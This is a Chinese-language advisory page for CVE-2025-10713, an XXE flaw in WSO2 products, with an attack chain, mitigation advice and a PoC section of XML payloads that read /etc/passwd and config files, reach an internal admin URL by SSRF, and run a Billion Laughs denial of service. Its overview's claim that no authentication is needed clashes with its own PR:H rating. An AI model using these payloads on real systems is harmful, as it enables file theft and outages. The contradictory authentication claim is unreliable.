IPBUF安全漏洞报告
English
CVE-2025-10713 CVSS 6.5 中危

WSO2产品XML外部实体注入漏洞导致敏感文件泄露

披露日期: 2025-11-05
来源: ed10eef1-636d-4fbe-9993-6890dfa878f8

漏洞信息

漏洞编号
CVE-2025-10713
漏洞类型
XXE注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WSO2多款产品

相关标签

XXE注入XML外部实体WSO2文件读取拒绝服务CVE-2025-10713中间件漏洞配置不当

漏洞概述

CVE-2025-10713是WSO2多款产品中存在的XML外部实体(XXE)注入漏洞。由于XML解析器配置不当,应用程序在解析用户提供的XML数据时未应用足够的限制,允许解析外部实体。攻击者可利用此漏洞在无需认证的情况下,通过网络远程读取服务器文件系统中的敏感文件,如配置文件、密码文件、密钥等。此外,攻击者还可以发起拒绝服务(DoS)攻击,使受影响的服务不可用。该漏洞的CVSS评分为6.5,属于中等严重程度,对机密性和可用性具有较高影响。

技术细节

该漏洞源于WSO2产品中XML解析器的安全配置缺陷。XML外部实体(XXE)是一种针对XML解析器的攻击技术,攻击者通过在XML文档中引入恶意构造的外部实体引用,使解析器在处理XML时访问攻击者指定的外部资源。当应用程序直接解析用户提交的XML数据而未禁用外部实体功能时,攻击者可以:1)通过file://协议读取服务器本地文件;2)通过http://等协议发起SSRF攻击;3)利用参数实体进行递归引用导致DoS。成功利用此漏洞需要攻击者具有较高权限(PR:H),但无需用户交互(UI:N),攻击向量为网络层面(AV:N)。攻击者可读取/etc/passwd、配置文件、数据库凭证等敏感信息,或使服务崩溃。

攻击链分析

STEP 1
步骤1
攻击者识别使用存在XXE漏洞的WSO2产品接口,该接口接受XML格式的输入
STEP 2
步骤2
攻击者构造包含恶意外部实体引用的XML payload,指定目标文件路径(如file:///etc/passwd)
STEP 3
步骤3
攻击者通过HTTP POST等请求方式将恶意XML发送到目标服务器
STEP 4
步骤4
服务器XML解析器解析该XML文档,由于未禁用外部实体,触发对指定文件的读取
STEP 5
步骤5
解析后的实体内容被包含在响应中返回给攻击者,实现敏感文件内容泄露
STEP 6
步骤6
若利用Billion Laughs攻击,则通过递归实体引用耗尽服务器资源,导致DoS

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> <!-- XXE to read source code or config files --> <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "file:///var/www/html/config.php"> ]> <data>&file;</data> <!-- XXE for SSRF --> <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server:8080/admin"> ]> <foo>&xxe;</foo> <!-- Billion Laughs Attack (DoS) --> <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <lolz>&lol3;</lolz>

影响范围

WSO2 API Manager < 4.3.0
WSO2 Identity Server < 7.1.0
WSO2 Enterprise Integrator < 6.6.0
WSO2 Open Banking < 受影响版本
其他WSO2产品可能受影响

防御指南

临时缓解措施
在XML解析器配置中禁用DOCTYPE声明和外部实体引用;实施Web应用防火墙(WAF)规则过滤可疑的XML payload;对XML处理接口实施认证和授权控制,限制可提交XML的用户范围;监控和日志记录XML解析异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表